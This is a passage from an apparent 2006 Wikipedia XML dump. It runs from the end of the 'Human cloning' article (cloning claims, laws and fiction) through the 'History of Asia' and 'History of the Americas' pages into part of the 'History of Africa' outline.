Zavos works with the Italian infertility expert Severino Antinori, who was recently expelled from the [[International Association of Private Assisted Reproductive Technology]] (APART) for his well-publicized wish to be the first to clone a human. Antinori claims that cloning humans would actually be safer than in animals. He quotes research from [[Duke University]], which seems to suggest a vital genetic difference between [[primates]] and other animals with regard to cloning. A problem discovered when cloning was first developed was that many of the clones grew much too large in the [[uterus]], consequently dying at birth. A researcher at the university, [[Randy Jirtle]], suggests this is due to the growth controlling [[gene]] [[IGF2R]] being suppressed. In animals a process known as [[imprinting]] can cause this gene not to be expressed. If the remaining gene is also turned off then '[[large offspring syndrome]]' ([[LOS]]) occurs. Research he has done suggests that in primates neither gene can be subject to imprinting. [[Randy Jirtle|Jirtle]] thinks that because of these extra safeguards, reproductive human cloning would be much safer than cloning of other mammals.

This is disputed by scientists who say that large-offspring syndrome is just one of many problems that result from cloning. Controlling this gene would not prevent many other genetic disorders which have yet to be fully understood or discovered.

Zavos and Antinori also say that the many of the developmental problems in animals were due to non-ideal conditions in which the embryos were [[Culture_%28disambiguation%29|cultured]]. Researchers at the [[Whitehead Institute for Biomedical Research]], [[MIT]], have found that this disrupts genes so that apparently normal-looking animals die early. Zavos points out that reproductive science is actually more advanced in humans due to the widespread use of treatments such as [[in vitro fertilisation]] (IVF), and therefore cloning in humans is not such a large step as animal cloning was.

The Whitehead team, however, conclude that reproductive human cloning is not a good idea. They did suggest, though, that therapeutic cloning of [[organ (anatomy)|organ]]s should be safer. This is because the imprinting experienced during culture is less important when cells specialize and start to grow in to specific tissues.

==Claims of success in human cloning beyond the embryo stage==
In [[1978]] [[David Rorvik]] claimed in his book ''In His Image: The Cloning of a Man'' that he had personal knowledge of the creation of a human clone. A court case followed. He failed to produce corroborating evidence to back up his claims, and his claims are now regarded as a hoax.
 
Severino Antinori made claims in November 2002 that a project to clone human beings has succeeded, with the first human clone due to be born in January [[2003]]. His claims were received with skepticism from many observers. 

In December [[2002]], [[Clonaid]], the medical arm of a cult called [[Raëlism]], who believe that aliens introduced human life on Earth, claimed to have successfully [[cloning|clone]]d a human being. They claim that aliens taught them how to perform cloning, even though the company has no record of having successfully cloned any previous animal. A spokesperson said an independent agency would prove that the baby, named Eve, is in fact an exact copy of her mother. Shortly thereafter, the testing was cancelled, with the spokesperson claiming the decision would ultimately be left up to Eve's parents. 

A mother in America plans to pay $500,000 to the [[Clonaid]] organization to clone her deceased daughter. In December [[2004]] Dr. Boisselier, claimed in letter to the UN that Clonaid has successfully cloned 13 children, however their personalities cannot be revealed to the public in order to protect them.

Dr. [[Panos Zavos]] claimed on [[January 17]], [[2004]] to have successfully produced a two week old cloned embryo which he attempted to implant into a 35 year old woman. However, the woman did not become pregnant.

==Possible advantages==
Many hopes have been put upon human cloning. Therapeutic cloning could provide needed organ transplants.  A cure for [[cancer]] by a better understanding of the cell-differentiation process, as well as better treatments for heart attacks and improved [[cosmetic surgery]], are being cited as being possible with the new technology.  Dr. Richard Seed thinks that human cloning will help us understand, and eventually reverse, the human aging process. 

Antinori and Zavos hope to create a fertility treatment that allows parents who are both infertile to have children with at least some of their DNA in their offspring. Some families have high hopes for reproductive cloning. ''How to Build a Human'', a documentary by [[BBC]] and [[Discovery Channel]], illustrated the prospects by showing an American family that wants to make a clone of their third child, who, although genetically healthy, had serious mental and physical deficiencies due to complications at birth and is expected to die soon. Other people hope to clone their already deceased children. Jonathan Colvin, in an [http://archives.cbc.ca/IDCC-1-75-738-4506/science_technology/cloning/ interview] on the [[CBC]], expressed his desire to clone himself while repairing his genetic defect ([[cystic fibrosis]]), thereby creating a version of himself free of the fatal disease.
 
==The current law on human cloning==
In 1998, 2001, and 2003 the US [[United States House of Representatives|House of Representatives]] voted whether to ban all human cloning, both reproductive and therapeutic. Each time, divisions in the Senate over therapeutic cloning prevented either competing proposal (a ban on both forms or reproductive cloning only) from passing. President [[George W. Bush]] is opposed to human cloning in any form. Some states ban both forms of cloning, while some others outlaw only reproductive cloning.

Current regulations prohibit federal funding for research into human cloning, which effectively prevents such research from occurring in public institutions and private institution such as universities which receive federal funding. However, there are currently no laws in the United States which ban cloning completely, and any such laws would raise difficult [[U.S. Constitution|Constitutional]] questions similar to the issues raised by [[abortion]].

The [[British government]] introduced legislation in order to allow licensed therapeutic but not reproductive cloning in a debate in January [[2001]] after an amendment to the [[Human Embryology Act]]. However on [[November 15]], [[2001]] opposition groups won a High Court legal challenge that effectively blocked cloning of embryos for therapeutic purposes. They discovered a loophole which allows reproductive cloning to be performed also. Anti-abortion groups say that a new debate is necessary because of recent technologies having been developed that might circumvent the need for embryonic cloning. The government overruled this attempt at the beginning of March [[2002]] and currently therapeutic cloning is allowed under license of the [[Human Fertilisation and Embryology Authority]].  The first known licence was granted on [[August 11]], [[2004]] to researchers at the [[University of Newcastle]] to allow them to investigate treatments for [[diabetes]], [[Parkinson's disease]] and [[Alzheimer's disease]].

Australia has prohibited human cloning, though a government committee is still reviewing issues related to therapeutic cloning and the creation of human embryos for stem cell research.

Organizations devoted to cloning humans, such as the [[Raelites]]' Las Vegas-based Clonaid, as well as Antinori and Zavos, are very hard to control. Many think these groups would shift their operations to other countries should mainstream legislation impede their operations, as many [[Least developed countries|less-developed nations]] have no such ban on cloning, so human cloning experiments could (theoretically) be easily shifted to more viable areas.

On [[December 12]], [[2001]] the [[United Nations General Assembly]] began elaborating an international convention against the reproductive cloning of human beings. Lawrence Goldstein, professor of cellular and molecular medicine at the University of California at San Diego, claims that the United States, unable to pass a national law, forced [[Costa Rica]] to start this debate in the UN over the international cloning ban. In February 2005 a vaguely worded and non-binding ''United Nations Declaration on Human Cloning'' was finally adopted. [http://www.un.org/law/cloning/]

The European Convention on Human Rights and Biomedicine prohibits human cloning in one of its additional protocols, but this protocol has been ratified only by [[Greece]], [[Spain]] and [[Portugal]]. The [[Charter of Fundamental Rights of the European Union]] explicitly prohibits reproductive human cloning, though the Charter currently carries no legal standing. The proposed [[Treaty establishing a Constitution for Europe|European Constitution]] would, if ratified, make the charter legally binding for the institutions of the [[European Union]].

==Human cloning in fiction==
Human cloning has long been a subject of speculation in [[science fiction]]. Science fiction writers have depicted human cloning for many purposes: obtaining comic effects from the presence of duplicate characters; issuing warnings about (supposed) scientific hubris; and presenting alternative social perspectives. Despite this variety, the image of human cloning in science fiction is most often negative. For example, cloning may be introduced into a narrative to highlight social issues of sameness and conformity.

More specifically, science fiction speculation has included:
* the use of cloning for &quot;spare parts&quot; for transplantation, typically with accelerated growth of the cloned parts
* transferring one's mind into a younger clone body, as a way of achieving immortality
* clones somehow having a [[telepathy|telepathic]] affinity for one another
Apart from the first, these ideas are currently pure speculation. However, telepathy has been reported by many indentical twins, for example seemingly unfounded anxiety of one twin, when the other who is far away is in trouble. If there is a genuine basis for these reports, the same could conceivably apply to artificial clones.

[[The 6th Day]] is a 2000 action movie about human cloning.

[[The Island %282005 film%29]] is a 2005 action movie about clones &quot;manufactured&quot; and then slaughtered in order to supply the humans with spare body parts.

'905' off of the album [[Who Are You]] is a 1978 song by [[The Who]] about human cloning.

In the popular new 12 1 hour episode series [[ReGenesis]], a series that deals with [[immunology]], messiahnic cloning, terrorism and ethics, one of the characters is revealed to be an illegal experimental clone, with similarities to Dolly in his stability.

==See also==
*[[Transhumanism#Brave_New_World_argument|''Brave New World'' argument]]

[[Category:Biotechnology]]


{{no references}}</text>
    </revision>
  </page>
  <page>
    <title>History of Asia</title>
    <id>14097</id>
    <revision>
      <id>40150848</id>
      <timestamp>2006-02-18T15:05:51Z</timestamp>
      <contributor>
        <username>Jagged 85</username>
        <id>468111</id>
      </contributor>
      <comment>/* [[History of East Asia]] */ Added Macau</comment>
      <text xml:space="preserve">{{mergefrom|history of Eurasia}}
[[Image:Asia 1892 amer ency brit.jpg|thumb|300px|Map of Asia, 1892]]
The '''history of Asia''' can be seen as the collective history of several distict peripheral coastal regions, [[East Asia]], [[South Asia]], and the [[Middle East]] linked by the interior mass of the Eurasian [[steppe]].

The coastal periphery was the home to some of the world's earliest known civilizations, with each of the three regions developing early civilizations around fertile river valleys.  The civilizations in [[Mesopotamia]], the [[Indus Valley]], and [[China]] shared many similarities and likely exchanged technologies and ideas such as mathematics and the wheel.  Other notions such as that of writing likely developed individually in each area.  Cities, states and then empires developed in these lowlands.

The steppe region had long been inhabited by mounted nomads, and from the central steppes they could reach all areas of the Asian continent.  The earliest known such central expansion out of the steppe is that of the [[Indo-European]]s which spread their languages into the Middle East, India, and in the [[Tocharians]] to the borders of China. The northern part of the continent, covering much of [[Siberia]] was also inaccessible to the steppe nomads due to the dense forests and the [[tundra]].  These areas were very sparsely populated.

The centre and periphery were kept separate by mountains and desserts.  The [[Caucasus Mountains|Caucasus]], [[Himalayas|Himalaya]], [[Karakum Desert]], and [[Gobi Desert]] formed barriers that the steppe horsemen could only cross with difficulty.  While technologically and culturally the city dwellers were more advanced, they could do little militarily to defend against the mounted hordes of the steppe.  However, the lowlands did not have enough open grasslands to support a large horsebound force.  Thus the nomads who conquered states in China, India, and the Middle East were soon forced to adapt to the local societies.

==History by country==
===[[History of the Middle East]]===
* [[History of Iraq]]
**[[History of Mesopotamia]]
* [[History of Iran]]
**[[History of Persia]]
* [[History of the Levant]]
**[[History of Israel]]
**[[History of Jordan]]
**[[History of Lebanon]]
**[[History of Palestine]]
**[[History of Syria]]
* [[History of Saudi Arabia]]
* [[History of Turkey]]
**[[Anatolia|History of Anatolia]]

===[[History of South Asia]]===
* [[History of India]]
**[[History of the Republic of India]]
**[[History of South India]]
**[[History of Assam]]
* [[History of Pakistan]]
**[[Historical regions of Pakistan]]
**[[Mehrgarh|History of Mehrgarh]]
**[[Indus Valley Civilization|History of the Indus Valley]]
* [[History of Bengal]]
**[[History of Bangladesh]]
***[[East Bengal (province)|History of East Bengal]]
***[[East Pakistan|History of East Pakistan]]
* [[History of Bhutan]]
* [[History of Nepal]]
* [[History of Sri Lanka]]
* [[History of Tibet]]

===[[History of East Asia]]===
* [[History of China]]
**[[History of the People's Republic of China]]
***[[History of Hong Kong]]
***[[History of Macau]]
**[[History of the Republic of China]]
***[[History of Taiwan]]
* [[History of Japan]]
* [[History of Korea]]
**[[History of North Korea]]
**[[History of South Korea]]

===[[History of Central Asia]]===
* [[History of Afghanistan]]
* [[History of Kazakhstan]]
* [[History of Kyrgyzstan]]
* [[History of Mongolia]]
* [[History of Uzbekistan]]
* [[History of Turkmenistan]]

===[[History of Southeast Asia]]===
* [[History of Cambodia]]
* [[History of Indonesia]]
* [[History of Laos]]
* [[History of Malaysia]]
* [[History of Myanmar]]
* [[History of the Philippines]]
* [[History of Singapore]]
* [[History of Thailand]]
* [[History of Vietnam]]

{{Asia in topic|History of}}

===See also===
*[[Imperialism in Asia]]
*[[History by continent]]
*[[History of Eurasia]]

{{Asiafooter}}
{{History by continent footer}}

[[Category:History of Asia]]

[[ar:تاريخ آسيا]]
[[cs:Dějiny Asie]]
[[ko:아시아의 역사]]
[[lv:Āzijas vēsture]]
[[pl:Historia Azji]]
[[th:ประวัติศาสตร์เอเชีย]]
[[zh:亚洲史]]</text>
    </revision>
  </page>
  <page>
    <title>History of the Americas</title>
    <id>14098</id>
    <revision>
      <id>39685404</id>
      <timestamp>2006-02-15T03:51:25Z</timestamp>
      <contributor>
        <username>E Pluribus Anthony</username>
        <id>266462</id>
      </contributor>
      <minor />
      <comment>rewky</comment>
      <text xml:space="preserve">{{unreferenced}}
{{euromericas}}
The '''history of the Americas''' is the collective history of [[North_America|North]] and [[South_America|South America]], including [[Central America]] and the [[Caribbean]]. It begins with people migrating to these areas from Asia and possibly [[Oceania]] during the height of an [[Ice Age]].  These groups are generally believed to have had little or no contact with peoples of the &quot;[[Old World]]&quot; until the coming the Europeans in the 15th Century.

The ancestors of today's [[Native American (Americas)|Native American]]s were [[hunter-gatherer]]s migrating into North America.  The most popular theory asserts that migrants came to the America's via the [[Bering_Land_Bridge|Bering Land Bridge]]. Small [[Paleo Indians|Paleo Indian]] groups probably followed the [[mammoth]] and other prey animals. It is possible that groups of people may also have wandered into North America on shelf or sheet ice along the northern Pacific coast.

Cultural traits brought by the first immigrants later evolved and spawned such cultures as [[Iroquois]] on North America and [[Pirahã people|Pirahã]] of South America.  Later during the continents history, these cultures developed into [[civilization]]s, just as in the Old World.  In many cases, these cultures expanded at a later date than the Old World counterparts.  Cultures considered advanced or civilized may include:  [[Cahokia]], [[Zapotec]], [[Toltec]]s, [[Olmec]], [[Aztecs]], and the [[Inca]].
  
==Migration into the continents==
Exactly when the first group of people migrated into the America's is subject to much debate. Recent archaeological finds suggest multiple waves of migration, some of which may have taken place as early as 40,000 BC.  All theories agree that the [[Inuit]] and related peoples arrived separately and at a much later date, probably around the [[6th century]], moving across the glaciers from [[Siberia]] into [[Canada]]. 

It is generally believed that the North American continent received the first people, [[Asia]]n nomads who crossed the [[Bering Land Bridge]]. For many years, scientists accepted that the earliest people were of the [[Clovis culture]], with  sites dating from some 13,500 years ago.  Older sites occupied up to 20,000 years ago are still not widely accepted, although they are supported by recent DNA evidence. By 10,000 BC, humans are thought to have reached [[Cape Horn]], at the southern tip of [[South America]]. Artifacts have been found in both North and South America which have been [[carbon dating|dated]] to about 10,000 BC. [http://www.cyberwest.com/cw09/v9scwst1.html] [http://www.nps.gov/bela/html/history.htm]

Other groups have additional beliefs about ancient visitors to the Americas. For example, the [[Book of Mormon]], a religious text used by [[The Church of Jesus Christ of Latter-day Saints]] and other denominations within the [[Latter Day Saint movement]], follows a family of [[Israelites]] who set out for the &quot;promised land&quot; about 600 BC.  This text records their arrival in the Americas and information on resulting cultures and civilizations.

==Before advanced civilizations==
After the migration or migrations, it was several thousand years before the first complex civilizations arose, emerging at earliest 5000 BC. They were hunter-gatherers and even with the emergence of advanced civilizations, most of the continent's area was still inhabited by such societies until the [[18th century]]. Hunter gatherer societies were quickly displaced with only a few in South America surviving into the 21st century. Numerous [[archaeological culture]]s can be identified with some of the classifications including [[Early Paleo-Indian Period]], [[Late Paleo-Indian Period]], [[Archaic Period]], [[Early Woodland Period]], [[Middle Woodland Period]] and [[Late Woodland Period]].

==Civilizations==
[[Civilization]]s were started long after migration. Several large, centralized civilizations developed in the [[Western Hemisphere]] (e.g., the Chav&amp;#324; in the [[Andes]], the Aztecs and the Maya in [[Central America]]). The capital of the Cahokians, [[Cahokia]] - located near modern [[East St. Louis, Illinois]] may have reached a population of over 20,000.  At its peak, between the 12th and [[13th century| 13th centuries]] Cahokia was the most populous city in North America.  [[Monk's Mound]], the major ceremonial center of Cahokia, remains the largest earthen construction of the prehistoric New World. Far larger cities where built by the Maya and Aztecs. Cities of the Aztecs and Incas were as large as the largest in the Old World, with estimates of 300,000 in [[Tenochtitlan]]. The market established there was the largest ever seen by the [[conquistador]]s when they arrived.

These civilizations developed agriculture as well, breeding [[maize]] (corn) from having ears 2-5 cm in length to perhaps 10-15 cm in length. [[Potato]]es, [[tomato]]s, [[pumpkin]]s and [[avocado]]s are other plants grown by Natives. They did not develop extensive livestock as there were few suitable species; however the [[guinea pig]] was raised for meat in the [[Andes]]. By the [[15th century|15th century AD]], maize had been transmitted from [[Mexico]] and was being farmed in the [[Mississippi River]] Valley, but further developments were cut short by the arrival of [[European]]s. Potatoes were utilized by the Inca and [[chocolate]] by the Aztec.

==North America==
See major article:  [[History of North America]]

====[[Pueblo]] Indians====
Living conditions were that of large stone apartment like [[adobe]] structures. They live in Arizona, New Mexico, Utah, Colorado, and possibly surrounding areas.

====[[Cahokia]]====

==Mesoamerica==
See major articles:  [[History of Central America]] and 
[[History of the Caribbean]]

====Zapotec====
The [[Zapotec]] emerged around 1500 years BC. Their writing system influenced the later Olmec. They left behind the great city [[Monte Alban]].

====Olmec====
The [[Olmec]] civilization emerged around 1200BC in [[Mesoamerica]] and ended 400BC but left enough art and concepts to surrounding neighbours for them to build civilizations of their own. This civilization was the first in America to develop a writing system. After the Olmecs abandoned their cities for unknown reasons, the Maya, Zapotec and Teotihuacan took over.

====Maya====
The [[Maya]] supplanted the Olmecs and their history spanned 3000 years, Their civilization may have collapsed due to changing climate in the end of the [[10th century]].

====Toltec====
The [[Toltec]] were a militaristic nomadic people, dating from the 10th - 12th century AD, whose language was spoken by the Aztecs as well.

====Teotihuacan====
[[Teotihuacan]] (4th century BC - 7-8th century AD) was both a city, and an empire of the same name, which, at its zenith between 150 AD and the 5th Century AD, covered most of Mesoamerica.

====Aztec====
The [[Aztec]] having started to build their empire around 14th century found their civilization abruptly ended by the Spanish conquistadors. They lived in central America, and surrounding lands.

==South America==
See major article:  [[History of South America]]

====Chavín====
The [[Chavín]] established a trade network and developed agriculture by as early as (or late compared to the Old World) 900BC according to some estimates and archaeological finds. Artifacts were found at a site called Chavín in modern [[Peru]] at an elevation of 3177 meters. Chavín civilization spanned from 900BC to 300BC.

====Inca====
Holding their capital at the great city of [[Cusco]], the [[Inca civilization]] dominated the Andes region from AD [[1438]] to [[1533]].  Known as  ''Tahuantinsuyu'', or &quot;the land of the four regions,&quot; in [[Quechua]], the Inca culture was highly distinct and developed.  Cities were built with precise, unmatched stonework, constructed over many levels of mountain terrain. [[Terrace farming]] was a useful form of agriculture. There is evidence of excellent metalwork and even successful [[brain surgery]] in Inca civilization.

==European discovery and following colonization==
Thousands of years after the Indians arrived, the continent was rediscovered by [[European]]s. Initially the [[Vikings]] established a short-lived settlement in [[Newfoundland]]. Theories exist about other Old World discoveries of the east coast (or of the west coast by the [[China|Chinese]]), but none of these are considered proven. It was the later voyage of [[Christopher Columbus]] that led to extensive [[European colonization of the Americas]] and the [[marginalization]] of its inhabitants. 

The mass death of [[Native American (Americas)|Native American]]s from slavery, disease and war led to severe changes in the population and ethnic identity of America's inhabitants. The slave labor of Americans killed by European incursions was replaced by that of sub - Saharan [[Africa]]n peoples through the [[slave trade]]. Native populations became increasingly minor as the European and African slave populations grew rapidly.  The dominance of [[white people]]s continued through the period of widespread independence from European rule, begun in the late [[18th century]] by the [[United States]]



==See also==
*[[Classification of indigenous peoples of the Americas]]
*[[Population history of American indigenous peoples]]
*[[Pre-Columbian_trans-oceanic_contact]]

[[Category:History by region|Americas]]
[[Category:History of North America]]
[[Category:History of South America]]

[[ca:Història d'Amèrica]]
[[es:Historia de América]]
[[eo:Historio de Ameriko]]
[[fa:تاریخ آمریکای باستان]]
[[fr:Histoire de l'Amérique]]
[[ko:아메리카의 역사]]</text>
    </revision>
  </page>
  <page>
    <title>History of Africa</title>
    <id>14099</id>
    <revision>
      <id>41695363</id>
      <timestamp>2006-03-01T02:53:14Z</timestamp>
      <contributor>
        <ip>204.52.215.107</ip>
      </contributor>
      <comment>/* Sub-Saharan Africa */ rvv</comment>
      <text xml:space="preserve">The following is an outline of [[Africa]]n [[history]], followed by a list of articles about the history of particular places in Africa.

=== Evolution of hominids and ''Homo sapiens'' in Africa===
''Main article: [[Human evolution]]''

Africa was the birthplace of both the [[Homininae|hominin]] subfamily and the genus ''[[homo (genus)|Homo]]'', including eight species of which only ''[[Homo sapiens]]'' remains. 

According to the latest [[Paleontology|paleontological]] and [[Archeology|archaeological]] evidence, hominids were already in existence at least five million years ago. These animals were still very much like their close cousins, the great African apes, but had adopted a [[biped]]al form of locomotion, giving them a crucial advantage in the struggle for survival, as this enabled them to live in both forested areas and on the open [[savanna]], at a time when Africa was drying up, with savannah encroaching on forested areas.

By 3 million years ago several [[Australopithecus|australopithecine]] hominid species had developed throughout [[Southern Africa|southern]], [[East Africa|eastern]] and [[central Africa]].

The next major evolutionary step occurred approximately 2 million years ago, with the advent of ''[[Homo habilis]]'', the first species of hominid capable of making tools. This enabled ''H. habilis'' to begin eating meat, using his stone tools to scavenge kills made by other predators, and harvest cadavers for their bones and marrow. In hunting, ''H. habilis'' was probably not capable of competing with large predators, and was still more prey than hunter, although he probably did steal eggs from nests, and may have been able to catch small [[game (food)|game]], and weakened larger prey (cubs and older animals).

Around one million years ago ''[[Homo erectus]]'' had evolved. With his relatively large brain (1,000 [[cubic centimetre|cc]]), he mastered the African plains, fabricating a variety of [[stone tool]]s that enabled him to become a hunter equal to the top predators. In addition ''Homo erectus'' mastered the art of making [[fire]], and was the first hominid to leave Africa, colonizing the entire [[Old World]], and later giving rise to ''[[Homo floresiensis]]''.

The fossil record shows ''Homo sapiens'' living in southern and eastern Africa between 100,000-150,000 years ago. The earliest human exodus [[Single-origin hypothesis|out of Africa]] and within the continent is indicated by linguistic and cultural evidence, and increasingly by computer-analyzed [[genetics|genetic]] evidence (see also [[Cavalli-Sforza]]).

==Neolithic prehistoric cultures==
===North Africa===
''Main article: [[Sahara#History|History of the Sahara]]''

[[Neolithic]] rock engravings, or '[[petroglyph]]s' and the [[megalith]]s in the [[Sahara]] desert of [[Libya]] attest to early hunter-gatherer culture in the dry grasslands of North Africa during the glacial age. The region of the present [[Sahara]] was an early site for the practice of [[agriculture]] (Wavy-line ceramics).  However, after the [[desertification]] of the Sahara, settlement in North Africa became concentrated in the valley of the [[Nile]], where the pre-literate [[Nome (Egypt)|Nomes of Egypt]] laid a base for the culture of [[ancient Egypt]]. Archeological findings show that primitive tribes lived along the [[Nile]] long before the dynastic history of the pharaohs began. By 6000 B.C., organized agriculture had appeared.

===Sub-Saharan Africa===
Linguistic evidence suggests the [[Bantu]] people (e.g. [[Xhosa]] and [[Zulu]]) have emigrated southwestward into former [[Khoisan]] ranges and displaced them. &lt;!--when did this happen ? (paleolithic or neolithic)--&gt; Bantu populations used a distinct suite of crops suited to tropical Africa, including [[cassava]] and [[yam (vegetable)|yams]].  This farming culture is able to support more persons per unit area than hunter-gatherers.  The traditional Bantu range goes from the northern deserts right down to the temperate regions of the south, in which the Bantu crop suite fails from frost.  Their primary weapons historically &lt;!-- up until when? --&gt; were [[Bow (weapon)|bow]]s and stabbing [[spear]]s with [[shield]]s.

[[Ethiopia]] had a distinct, ancient culture with an intermittent history of contact with [[Eurasia]] after the diaspora of hominids out of Africa.  It preserved a unique language, culture and crop system.  The crop system is adapted to the dry northern highlands and does not partake of any other area's crops.  The most famous member of this crop system is [[coffee]], but one of the more useful plants is [[sorghum]], a dry-land grain.

Ancient cultures also existed all along the [[Nile]], and in modern-day [[Ghana]] &lt;!-- and much more... --&gt;.

==History of North Africa (3500 B.C. - 1500 A.D.)==
=== Ancient Egypt ===
''Main articles: [[History of Ancient Egypt]], [[Kush]]''

Africa's earliest evidence of written history was in [[Ancient Egypt]], and the [[Egyptian calendar]] is still used as the standard for dating [[bronze age]] and [[iron age]] cultures throughout the region.

In about 3100 B.C., [[Egypt]] was united under a ruler known as Mena, or [[Menes]], who inaugurated the first of the 30 dynasties into which Egypt's ancient history is divided: the [[Old Kingdom|Old]], [[Middle Kingdom of Egypt|Middle Kingdom]]s and the [[New Kingdom of Egypt|New Kingdom]]. The pyramids at [[Giza]] (near [[Cairo]]), which were built in the [[Fourth dynasty of Egypt|Fourth dynasty]], testify to the power of the pharaonic religion and state. The [[Great Pyramid]], the tomb of [[Pharaoh]] [[Khufu]] (also known as Cheops), is the only surviving monument of the [[Seven Wonders of the Ancient World]]. Ancient Egypt reached the peak of its power, wealth, and territorial extent in the period called the New Empire (1567-1085 B.C.). 

The Egyptians reached [[Crete]] around 2000 BC and were invaded by [[Indo-European]]s and [[Hyksos]] Semites. They defeated the invaders around 1570 BC and expanded into the [[Aegean sea|Aegean]], [[Sudan]], [[Libya]], and much of the [[Levant]], as far as the [[Euphrates]].

The importance of Ancient Egypt to the development of Africa has been disputed. The earlier generation of Western [[Africanist]]s generally saw Egypt as a Mediterranean civilization with little impact on the rest of Africa. The more recent historians based in Africa take a very different view seeing Egypt as important to the development of African civilization as Greece was to the development of European. It has been demonstrated that Egypt had considerable contact with [[Ethiopia]] and the upper [[Nile]] valley, south of the [[cataracts of the Nile]] in [[Nubia]]n [[Kush]]. Links and connections to the Sahel and West Africa have been proposed, but are as of yet unproven.

=== Phoenician, Greek and Roman colonization  ===
Separated by the 'sea of sand', the Sahara, [[North Africa]] and [[Sub-Saharan Africa]] have been linked by fluctuating [[trans-Saharan trade]] routes. Phoenician, Greek and Roman history of North Africa can be followed in entries for the [[Roman Empire]] and for its individual provinces in the [[Maghreb]], such as [[Mauretania]], [[Africa (province)|Africa]], [[Tripolitania]], [[Cyrenaica]], [[Aegyptus (province)|Aegyptus]] etc.

In Northern Africa Ethiopia has been the only state which throughout historic times has (except for a brief period during [[World War II]]) maintained its independence.  Countries bordering the [[Mediterranean Sea|Mediterranean]] were colonised and settled by the [[Phoenicia]]ns before 1000 BC. [[Carthage]], founded about [[814 BC]], speedily grew into a city without rival in the Mediterranean. The Phoenicians subdued the [[Berber]] tribes who, then as now, formed the bulk of the population, and became masters of all the habitable region of North Africa west of the [[Great Syrtis]], and found in commerce a source of immense prosperity.

Greeks founded the city of [[Cyrene, Libya|Cyrene]] in Libya around [[631 BC]]. [[Cyrenaica]] became a flourishing colony, though being hemmed in on all sides by absolute desert it had little or no influence on inner Africa.  The Greeks, however, exerted a powerful influence in Egypt.  To [[Alexander the Great]] the city of [[Alexandria]] owes its foundation ([[332 BC]]), and under the Hellenistic dynasty of the [[Ptolemaic dynasty|Ptolemies]] attempts were made to penetrate southward, and in this way was obtained some knowledge of Ethiopia.

The three powers of Cyrenaica, Egypt and Carthage were eventually supplanted by the Romans.  After centuries of rivalry with Rome, Carthage finally fell in [[146 BC]]. Within little more than a century Egypt and Cyrene had become incorporated in the Roman empire.  Under Rome the settled portions of the country were very prosperous, and a Latin strain was introduced into the land.  Though [[Fezzan, Libya|Fezzan]] was occupied by them, the Romans elsewhere found the Sahara an impassable barrier.  [[Nubia]] and Ethiopia were reached, but an expedition sent by the emperor [[Nero]] to discover the source of the Nile ended in failure.  The utmost extent of mediterranean geographical knowledge of the continent is shown in the writings of [[Ptolemy]] (2nd century), who knew of or guessed the existence of the great lake reservoirs of the Nile, of trading posts along the shores of the [[Indian Ocean]] as far south as [[Rhapta]] in modern [[Tanzania]], and had heard of the river [[Niger]].

Interaction between Asia, Europe and North Africa during this period was significant, major effects include the spread of classical culture around the shores of the Mediterranean; the continual struggle between Rome and the Berber tribes; the introduction of Christianity throughout the region, and the cultural effects of the churches in Tunisia, Egypt and Ethiopia.

===Dark Age===
The classical era drew to a close with the invasion and conquest of Rome's African provinces by the [[Vandal]]s in the 5th century; although power passed back briefly in the following century to the [[Byzantine Empire]]. All of these topics are expounded upon in their respective articles.

=== Islamisation ===
In the 7th century occurred an event destined to have a permanent influence on the whole continent. Beginning with an invasion of Egypt, a host of Arabs, believers in the new faith of [[Islam]], conquered the whole of North Africa from the Red Sea to the [[Atlantic Ocean|Atlantic]] and continued into [[Spain]]. Throughout North Africa Christianity nearly disappeared, save in Egypt (where the [[Coptic Christianity|Coptic Church]] was allowed to continue), and Upper Nubia and Ethiopia, which were not subdued by the Muslims.

In the 8th, 9th and 10th centuries the Arabs in Africa were numerically weak, holding the countries they had conquered only by military superiority; but in the 11th century there was a great Arab immigration, resulting in a large absorption of [[Berber]] culture.  Even before this the Berbers had very generally adopted the speech and religion of their conquerors.  Arab influence and the Islamic religion thus became indelibly stamped on northern Africa.  Together they spread southward across the Sahara.  They also became firmly established along the eastern seaboard, where Arabs, [[Iran|Persia]]ns and [[India]]ns planted flourishing colonies, such as [[Mombasa, Kenya|Mombasa]], [[Malindi, Kenya|Malindi]] and [[Sofala, Mozambique|Sofala]], playing a role, maritime and commercial, analogous to that filled in earlier centuries by the Carthaginians on the northern seaboard.  Until the 14th century, Europe and the Arabs of North Africa were both ignorant of these eastern cities and states.

The first Arab invaders had recognized the authority of the [[Caliphate|caliphs]] of [[Baghdad]], and the [[Aghlabite]] dynasty&amp;mdash;founded by [[Aghlab]], one of [[Haroun al-Raschid]]'s generals, at the close of the 8th century&amp;mdash;ruled as vassals of the caliphate.  However, early in the 10th century the [[Fatimid]] dynasty established itself in Egypt, where [[Cairo]] had been founded AD 968, and from there ruled as far west as the Atlantic.  Later still arose other dynasties such as the [[Almoravides]] and [[Almohades]].  Eventually the [[Turkey|Turks]], who had conquered [[Constantinople]] in 1453, and had seized Egypt in 1517, established the regencies of [[Algeria]], Tunisia and [[Tripolitania|Tripoli]] (between 1519 and 1551), [[Morocco]] remaining an independent Arabized Berber state under the [[Sharifan dynasty]], which had its beginnings at the end of the 13th century.

Under the earlier dynasties Arabian or [[Moors|Moorish]] culture had attained a high degree of excellence, while the spirit of adventure and the proselytizing zeal of the followers of Islam led to a considerable extension of the knowledge of the continent.  This was rendered more easy by their use of the [[camel]] (first introduced into Africa by the Persian conquerors of Egypt), which enabled the Arabs to traverse the desert.  In this way [[Senegambia]] and the middle Niger regions fell under the influence of the Arabs and Berbers.

Islam also spread through the interior of [[West Africa]], as the religion of the [[mansa]]s of the [[Mali Empire]] (c. 1235-1400) and many rulers of the [[Songhai Empire]] (c. 1460-1591).  Following the fabled 1324 [[hajj]] of [[Mansa Musa|Kankan Musa I]], [[Timbuktu]] became renowned as a center of Islamic scholarship as sub-Saharan Africa's first university.  That city had been reached in 1352 by the great Arab traveller [[Ibn Battuta]], whose journey to Mombasa and Quiloa ([[Kilwa]]) provided the first accurate knowledge of those flourishing Muslim cities on the east African seaboards.

Except along this seaboard, which was colonized directly from Asia, Arab progress southward was stopped by the broad belt of dense forest, stretching almost across the continent somewhat south of 10° North latitude, which barred their advance much as the Sahara had proved an obstacle to their predecessors.  The rainforest cut them off from knowledge of the [[Guinea coast]] and of all Africa beyond.  One of the regions which was the last to come under Arab rule was that of Nubia, which had been controlled by Christians up to the 14th century.

